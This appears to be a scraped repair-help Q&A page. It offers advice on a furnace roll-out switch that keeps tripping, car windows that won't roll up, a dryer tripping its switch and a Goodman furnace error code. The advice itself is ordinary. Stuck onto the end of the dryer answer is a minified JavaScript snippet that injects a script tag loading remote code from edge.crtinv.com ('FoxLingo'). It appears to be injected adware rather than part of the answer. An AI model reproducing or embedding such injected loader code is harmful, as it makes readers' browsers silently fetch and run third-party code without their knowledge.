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Posted on Jan 27, 2013

Rool out switch keeping tripping - Heating & Cooling

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  • Contributor 22 Answers
  • Posted on Jan 27, 2013
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Joined: Jan 25, 2013
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Assume you mean roll-out switch on a furnace....it is a temperature sensitive safety control intended to limit the temperature in the vestabule or burner area. if it keeps tripping, it's because something is causing the temp to get too high. a dirty filter would be first suspect. it could also be an inoperative blower, a dirty evaporator, or a blocked flue or vent pipe. check all these things out and you will likely find your problem..

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My front pasenger window rol ldown by it self and wont rool up again

Most likely the contacts at the window switch are dirty and the humidity caused an intermittent short. If it happens again try removing the switch and cleaning it.
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My hot point condenser dryer keeps tripping the trip switch, have changed fuse but still not working

This would tend to indicate a problem with the temperature sensor not switching off the heatercircuit so it overheats and then trips. As soon as it cools down the machine will continue to work OK. This shouldbe a very quick and cheap repair.!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState '' this.readyState=="loaded" '' this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();
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Window won't rool up

If it is electric then you may have to replace the window motor, if it is a hand crank window then just take off the door panel and put the belt that goes from the crank to the chases of the window back on track, someone probably kept rolling it after it was already down
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My Goodman GMP 125-4 furnace has 4 blinking lights and we currently are unable to get it to come on. What might be wrong?

if this is an error code and you mean that the light blinks 4 times then it is the limit circuit. This could mean either the high limit or a roll out switch is open. the limit switch is right in the center of the furnace above the burner and roll out switches are probably somewhere around the opening of the burner. Follow the wires from the limit to find a roll out switch cause they are in line with each other and the rool out switch could have a button to reset it. However if the roll out is not tripped then you could need to change the limit. Only way to know is to check for continuity.
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